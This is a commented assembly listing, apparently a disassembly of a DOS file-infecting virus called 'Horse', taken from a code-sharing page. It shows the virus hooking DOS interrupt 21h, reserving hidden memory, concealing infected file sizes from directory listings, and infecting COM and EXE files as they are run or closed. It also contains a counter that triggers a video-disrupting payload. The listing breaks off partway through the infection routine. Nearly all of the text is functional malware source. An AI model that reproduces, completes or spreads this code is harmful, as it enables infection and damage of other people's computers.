📄 horse2.asm
字号:
.model tiny
.code
.radix 16
ASSUME DS:CODE,SS:CODE,CS:CODE,ES:CODE
org 0100h
CALL EntryPoint ; Call virus entry point
; Here begin virus by himself
EntryPoint:
POP BP ; Restore in BP address of data area
PUSH BX ; Save BX
PUSH CX ; Save CX
PUSH ES ; Save ES
PUSH DS ; Save DS
CLC ; Clear carry flag
MOV AX,4B4Bh ; Load AX with self-check word
INT 21 ; Call int21
JC Install ; If virus is loaded CF==0
PUSH DS ; Save DS
PUSH CS ; Set DS point to PSP
POP DS ;
MOV SI,DI ; SI=DI= virus CODE begin
SUB SI,0003 ; include CALL in the beginning
ADD SI,BP ; Adjust different offsets
MOV CX,047Ch ; Compare virus code only
CLD ; Clear direction
REP CMPSB ; Repeat until equal
POP DS ; Restore DS
PUSH DS ; Set ES = DS
POP ES
JZ ReturnControl ; If virus -> return to file
Install:
MOV CS:[offset FunCounter+BP],3456 ; Load generation counter
MOV AX,DS ; Move PSP segment in AX
DEC AX ; Compute MCB of PSP
MOV DS,AX ; Set DS to MCB
SUB [0003],0050 ; "Steal" some memory
MOV AX,ES:[0002] ; ????
SUB AX,0050 ; ????
MOV ES:[0002],AX ;
PUSH AX ; Save new virus segment
SUB DI,DI ; DI=0
MOV SI,BP ; SI point to virus begin
SUB SI,0003 ; Adjust CALL in the beginning
MOV DS,DI ; DS set to 0
MOV BX,Offset int21handler ; Load BX with int 21 handler
XCHG BX,[0084] ; and set it in vector table
MOV CS:[BP+offset Int21off],bx ; Save old vector offset
XCHG AX,[0086] ; Set new int21 seg & get old segment
MOV CS:[BP+offset Int21seg],ax ; Save old vector segment
POP ES ; Set ES point to new virus seg
PUSH CS ; Set DS point to current virus seg (PSP)
POP DS ;
MOV CX,offset LastByte ; Will move all virus
REP MOVSB ; Move virus in hi memory (as Eddie)
MOV AX,4BB4h ; Int21 is grabbed by virus
INT 21 ; This SetUp virus function
ReturnControl:
POP DS ; Restore DS
POP ES ; Restore ES
CMP byte ptr CS:[BP+ComFlag],43 ; Check if host file is COM
JZ ReturnCOM ; If COM -> exit COM
ReturnEXE:
MOV AX,CS:[BP+First3] ; Load AX with old IP
MOV DX,CS:[BP+First3+2] ; Load AX with old CS
MOV CX,CS ; Load CX with current run segment
SUB CX,CS:[BP+06] ; Calculate PSP+10h
MOV DI,CX ; Save result in DI
ADD DX,CX ; In DX is now start segment
POP CX ; ???
POP BX ; ???
CLI ; Disable interrupts
ADD DI,CS:[BP+04]
MOV SS,DI
STI
DoReturn: ; 009B
PUSH DX ; Push entry segment
PUSH AX ; Push entry offset
SUB AX,AX ; Clear registers
SUB DX,DX ; Clear of AX may cause trouble
SUB BP,BP ; with several programs (as DISKCOPY)
SUB SI,SI ; AX must be saved on entry and restored
SUB DI,DI ;
RETF ; Return control to EXE file
ReturnCOM:
POP CX ; ???
POP BX ; ???
MOV AX,[BP+First3] ; Load AX with first 2 instr
MOV [0100],AX ; and restore them at file begin
MOV AX,[BP+First3+2] ; Load AX with second 2 instr
MOV [0102],AX ; and restore them at file begin
MOV AX,0100 ; Set AX to entry offset
MOV DX,CS ; Set DX to entry segment
JMP short DoReturn ; Go to return code
FindFirstNext:
PUSHF ; Save flags
CALL dword ptr CS:[offset Dos21off] ; Call DOS
PUSH BX ; Save rezult of searching
PUSH ES
PUSH SI
PUSH AX
MOV SI,DX ; DS:SI point to FCB with search argument
CMP byte ptr [SI],0FFh ; Check for Extended FCB
JNZ NoDirCommand ; If FCB not extended then command is not DIR
MOV AH,2Fh ; Get DTA address; Result of search is in DTA
INT 21
MOV AX,ES:[BX+1Eh] ; Load file time to AX
AND AX,001Fh ; Mask seconds
CMP AX,001Fh ; Check if file seconds are 62
JNZ NoDirCommand ; If seconds!=62 -> file not infected
CMP ES:[BX+26h],0000 ; Check file size, hi byte
JNZ AdjustSize ; If file bigger than 64K -> immediate adjust
CMP ES:[BX+24h],offset LastCode ; Check low byte of file size
JC NoDirCommand ; If file is less than virus -> skip adjust
AdjustSize:
SUB ES:[BX+24h],offset LastCode ; Decrement file size with virus size
SBB ES:[BX+26h],0000 ; Decrement hi byte of size if need
NoDirCommand:
POP AX ; Restore registers
POP SI
POP ES
POP BX
IRET ; Return to caller
HereIam:
PUSH CS ; If AX==4B4B -> so virus call me
POP ES ; Set ES to virus segment
MOV DI,000C ; Set DI to virus code begin
IRET ; Return to caller
Int21handler:
CMP AH,11h ; If function is FindFirst
JZ FindFirstNext ; If so -> will adjust file size
CMP AH,12h ; If function is FindNext
JZ FindFirstNext ; If so -> will adjust file size
CMP AX,4B4Bh ; If AX==4B4B -> Identification
JZ HereIam ; function
CMP AX,4BB4h ; Setup function
JNZ Continue ; Continue checking of AH
JMP SetUp
Continue:
PUSH AX ; Save important registers
PUSH BX
PUSH CX
PUSH DX
PUSH SI
PUSH DI
PUSH BP
PUSH DS
PUSH ES
CMP AH,3Eh ; If function CLOSE file handle
JZ CloseFile ;
CMP AX,4B00h ; If function is EXEC file
MOV AH,3Dh ; If so set AH to OPEN function
JZ Infect ; and infect file
ErrorProcess:
MOV AX,CS:[offset FunCounter] ; Load nomer pored na function
CMP AX,0000 ; If counter is != 0
JNZ AdjustFunCount ; then only decrease counter
JMP VideoFuck ; else go to video fuck
AdjustFunCount:
DEC AX
MOV CS:[04A0h],AX
EndInt21:
POP ES ; Restore important registers
POP DS
POP BP
POP DI
POP SI
POP DX
POP CX
POP BX
POP AX
JMP dword ptr CS:[offset Int21off] ; Jump to DOS
DB 9A ; ??????
CloseFile:
MOV AH,45
Infect:
CALL CallDOS ; Call DOS int 21
JC ErrorProcess ; If error -> Stop processing
MOV BP,AX ; Save file handle in BP
MOV AX,3508 ; Get timer interrupt
CALL CallDOS
MOV CS:[offset TimerOff],BX ; and save it in variable
MOV CS:[offset TimerSeg],ES
PUSH BX ; and to stack
PUSH ES
MOV AL,21 ; Get in21
CALL CallDOS
PUSH BX ; and save it on stack
PUSH ES
MOV AL,24 ; Get critical error int
CALL CallDOS
PUSH BX ; and store it on stack
PUSH ES
MOV AL,13 ; Get int 13 (disk I/O)
CALL CallDOS
PUSH BX ; and save it on stack
PUSH ES
MOV AH,25 ; Now he will SET vectors
LDS DX,dword ptr CS:[offset Int13off] ; Load int13 bios address
CALL CallDOS ; Set it in vector table
MOV AL,21
LDS DX,dword ptr CS:[offset Dos21off] ; Load int21 dos address
CALL CallDOS ; Set in vector table
MOV AL,24 ; Will set critical error handler
PUSH CS
POP DS ; Set DS point to vurus segment
MOV DX,offset CriticalError ; Load its own critical handler
INT 21 ; Set in vector table
MOV AL,08 ; Set new timer
MOV DX,offset TimerHandler ; Load its own timer
INT 21 ; Set in vector table
MOV BX,BP ; Restore file handle from BP to BX
PUSH BX ; Save handle on stack
MOV AX,1220 ; Get handle table number
CALL CallInt2F ; Via int2F (undocumented)
MOV BL,ES:[DI] ; Load table number in BL
MOV AX,1216 ; Get table address
CALL CallInt2F ; Via int2F (undocumented)
POP BX ; Restore file handle
ADD DI,0011 ; ES:DI point to file size
MOV byte ptr ES:[DI-0Fh],02 ; Set file open mode (3Dxx) to Read/Write
MOV AX,ES:[DI] ; Load DX:AX with file size
MOV DX,ES:[DI+02] ;
CMP DX,0000 ; Check if file is less than 64k
JNZ BigEnough ; If less
CMP AX,offset LastCode ; Then check if file is less than virus
JNC BigEnough ; If file is larger than virus -> fuck it
JMP SkipFile ; else skip file
BigEnough:
MOV [offset FileSizeLow],AX ; Save file size in variables
MOV [offset FileSizeHi],DX
SUB AX,offset VirusAuthor-offset EndAuthor ; Decrease file size with sign size
SBB DX,0000 ;
MOV ES:[DI+04],AX ; Set current file position to point
MOV ES:[DI+06],DX ; Virus sign
PUSH DI ; Save table handle table address
PUSH ES ;
MOV AH,3F ; Will read from file
MOV CX,offset EndAuthor-offset VirusAuthor
MOV DX,offset LastByte ; Load DS:DX point AFTER virus
MOV DI,DX ; DI point this area either
INT 21 ; Read file
MOV SI,Offset VirusAuthor ; DS:SI point virus sign
MOV CX,offset EndAuthor-offset VirusAuthor ; Load CX sign size
PUSH CS ; ES:DI point to readed byte
POP ES ;
REP CMPSB ; Compare virus sign with readed bytes
POP ES ; Restore handle table address
POP DI ;
JNZ CleanFile ; If not equal -> file is clean
JMP SkipFile ; Else file infected -> skip it
CleanFile: MOV ES:[DI+04],0000 ; Set file pointer to 0L
MOV ES:[DI+06],0000
MOV AH,3F ; Will read EXE header
MOV CX,001B ; Size of EXE header
MOV DX,offset LastByte ; Read in buffer AFTER virus
MOV SI,DX ; Set DS:SI point to readed header
INT 21 ; Read header
JNC NoErrorHeader ; If no error in read -> go ahead
JMP SkipFile ; If error occur -> skip file
NoErrorHeader: CMP ES:[DI+18],4D4F ; Check in table if file is ?OM
JNZ NoComFile
JMP InfectCOM
NoComFile: CMP ES:[DI+18],4558 ; Check for ?XE file
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -